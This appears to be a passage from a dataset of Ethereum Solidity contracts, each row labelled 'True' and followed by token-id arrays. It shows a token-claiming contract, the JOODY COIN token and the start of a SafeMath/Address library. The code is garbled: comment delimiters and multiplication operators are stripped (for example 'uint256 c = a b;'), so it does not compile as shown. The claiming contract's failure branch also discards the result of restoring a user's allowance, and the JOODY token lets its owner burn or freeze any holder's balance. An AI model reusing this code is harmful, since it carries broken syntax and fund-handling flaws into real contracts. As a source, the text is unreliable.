reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval( address indexed owner, address indexed spender, uint256 value ); } / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () { } function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). / function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Claiming is Ownable{ using SafeMath for uint256; /* * Structure of an object to pass for allowance list / struct allowedUser { address wallet; uint256 amount; } IERC20 public token; bool internal isClaimOpen; uint256 internal totalUnclaimed; mapping(address => uint256) allowanceAmounts; constructor(IERC20 _token){ token = _token; isClaimOpen = false; totalUnclaimed = 0; } event UnsuccessfulTransfer(address recipient); /* * Ensures that claiming tokens is currently allowed by the owner. / modifier openClaiming() { require( isClaimOpen, "Claiming tokens is not currently allowed." ); _; } /* * Ensures that the amount of claimed tokens is not bigger than the user is allowed to claim. / modifier userHasEnoughClaimableTokens (uint256 amount) { require( allowanceAmounts[msg.sender] >= amount, "The users token amount is smaller than the requested." ); _; } /* * Ensures that contract has enough tokens for the transaction. / modifier enoughContractAmount(uint256 amount) { require( token.balanceOf(address(this)) >= amount, "Owned token amount is too small." ); _; } /* * Ensures that only people from the allowance list can claim tokens. / modifier userHasClaimableTokens() { require( allowanceAmounts[msg.sender] > 0, "There is no tokens for the user to claim or the user is not allowed to do so." ); _; } modifier hasContractTokens() { require( token.balanceOf(address(this)) > 0, "There is no tokens for the user to claim or the user is not allowed to do so." ); _; } /* @dev Transfers the spacified number of tokens to the user requesting * * Substracts the requested amount of tokens from the allowance amount of the user * Transfers tokens from contract to the message sender * In case of failure restores the previous allowance amount * * Requirements: * * - message sender cannot be address(0) and has to be in AllowanceList / function claimCustomAmountTokens(uint256 amount) public openClaiming userHasEnoughClaimableTokens(amount) enoughContractAmount(amount) { require(msg.sender != address(0), "Sender is address zero"); allowanceAmounts[msg.sender] = allowanceAmounts[msg.sender].sub(amount); token.approve(address(this), amount); if (!token.transferFrom(address(this), msg.sender, amount)){ allowanceAmounts[msg.sender].add(amount); emit UnsuccessfulTransfer(msg.sender); } else { totalUnclaimed = totalUnclaimed.sub(amount); } } /* @dev Transfers the spacified number of tokens to the user requesting * * Makes the allowance equal to zero * Transfers all allowed tokens from contract to the message sender * In case of failure restores the previous allowance amount * * Requirements: * * - message sender cannot be address(0) and has to be in AllowanceList / function claimRemainingTokens() public openClaiming userHasClaimableTokens { require(msg.sender != address(0), "Sender is address zero"); uint256 amount = allowanceAmounts[msg.sender]; require(token.balanceOf(address(this)) >= amount, "Insufficient amount of tokens in contract"); allowanceAmounts[msg.sender] = 0; token.approve(address(this), amount); if (!token.transferFrom(address(this), msg.sender, amount)){ allowanceAmounts[msg.sender] = amount; emit UnsuccessfulTransfer(msg.sender); } else{ totalUnclaimed = totalUnclaimed.sub(amount); } } /* @dev Adds the provided address to Allowance list with allowed provided amount of tokens * Available only for the owner of contract / function addToAllowanceListSingle(address addAddress, uint256 amount) public onlyOwner { allowanceAmounts[addAddress] = allowanceAmounts[addAddress].add(amount); totalUnclaimed = totalUnclaimed.add(amount); } /* @dev Adds the provided address to Allowance list with allowed provided amount of tokens * Available only for the owner / function substractFromAllowanceListSingle(address subAddress, uint256 amount) public onlyOwner { require(allowanceAmounts[subAddress] != 0, "The address does not have allowance to substract from."); allowanceAmounts[subAddress] = allowanceAmounts[subAddress].sub(amount); totalUnclaimed = totalUnclaimed.sub(amount); } /* @dev Adds the provided address list to Allowance list with allowed provided amounts of tokens * Available only for the owner / function addToAllowanceListMultiple(allowedUser[] memory addAddresses) public onlyOwner { for (uint256 i = 0; i < addAddresses.length; i++) { allowanceAmounts[addAddresses[i].wallet] = allowanceAmounts[addAddresses[i].wallet].add(addAddresses[i].amount); totalUnclaimed = totalUnclaimed.add(addAddresses[i].amount); } } /* @dev Removes the provided address from Allowance list by setting his allowed sum to zero * Available only for the owner of contract / function removeFromAllowanceList(address remAddress) public onlyOwner { totalUnclaimed = totalUnclaimed.sub(allowanceAmounts[remAddress]); delete allowanceAmounts[remAddress]; } /* @dev Allows the owner to turn the claiming on. / function turnClaimingOn() public onlyOwner { isClaimOpen = true; } /* @dev Allows the owner to turn the claiming off. / function turnClaimingOff() public onlyOwner { isClaimOpen = false; } /* @dev Allows the owner to withdraw all the remaining tokens from the contract / function withdrawAllTokensOwner() public onlyOwner { token.approve(address(this), token.balanceOf(address(this))); if (!token.transferFrom(address(this), msg.sender, token.balanceOf(address(this)))){ emit UnsuccessfulTransfer(msg.sender); } } /* @dev Allows the owner to withdraw the specified amount of tokens from the contract / function withdrawCustomTokensOwner(uint256 amount) public onlyOwner enoughContractAmount(amount) { token.approve(address(this), amount); if (!token.transferFrom(address(this), msg.sender, amount)){ emit UnsuccessfulTransfer(msg.sender); } } /* @dev Allows the owner to withdraw the residual tokens from the contract / function withdrawResidualTokensOwner() public onlyOwner { uint256 amount = token.balanceOf(address(this)).sub(totalUnclaimed); require(token.balanceOf(address(this)) >= amount, "Insufficient amount of tokens in contract"); token.approve(address(this), amount); if (!token.transferFrom(address(this), msg.sender, amount)){ emit UnsuccessfulTransfer(msg.sender); } } /* @dev Allows the owner to withdraw the specified amount of any IERC20 tokens from the contract / function withdrawAnyContractTokens(IERC20 tokenAddress, address recipient) public onlyOwner { require(msg.sender != address(0), "Sender is address zero"); require(recipient != address(0), "Receiver is address zero"); tokenAddress.approve(address(this), tokenAddress.balanceOf(address(this))); if(!tokenAddress.transferFrom(address(this), recipient, tokenAddress.balanceOf(address(this)))){ emit UnsuccessfulTransfer(msg.sender); } } /* @dev Shows the amount of total unclaimed tokens in the contract / function totalUnclaimedTokens() public view onlyOwner returns (uint256) { return totalUnclaimed; } /* @dev Shows the residual tokens of the user sending request / function myResidualTokens() public view returns (uint256) { return allowanceAmounts[msg.sender]; } /* @dev Shows the owner residual tokens of any address (owner only function) / function residualTokensOf(address user) public view onlyOwner returns (uint256) { return allowanceAmounts[user]; } /* @dev Shows the amount of total tokens in the contract / function tokenBalance() public view returns (uint256) { return token.balanceOf(address(this)); } /* @dev Shows whether claiming is allowed right now. */ function isClaimingOn() public view returns (bool) { return isClaimOpen; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 2423, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1021, 1025, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 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/** Submitted for verification at Etherscan.io on 2021-06-06 / /** Submitted for verification at Etherscan.io on 2021-06-06 / // ---------------------------------------------------------------------------- // JOODY COIN Contract // Name : JOODY COIN // Symbol : JOODY // Decimals : 18 // InitialSupply : 2,000,000,000 JOODY // ---------------------------------------------------------------------------- pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract JOODYCOIN is ERC20 { string public constant name = "JOODY COIN"; string public constant symbol = "JOODY"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 2000000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already Owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5757, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5757, 1008, 1013, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 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/** Submitted for verification at Etherscan.io on 2021-05-05 / pragma solidity ^0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); 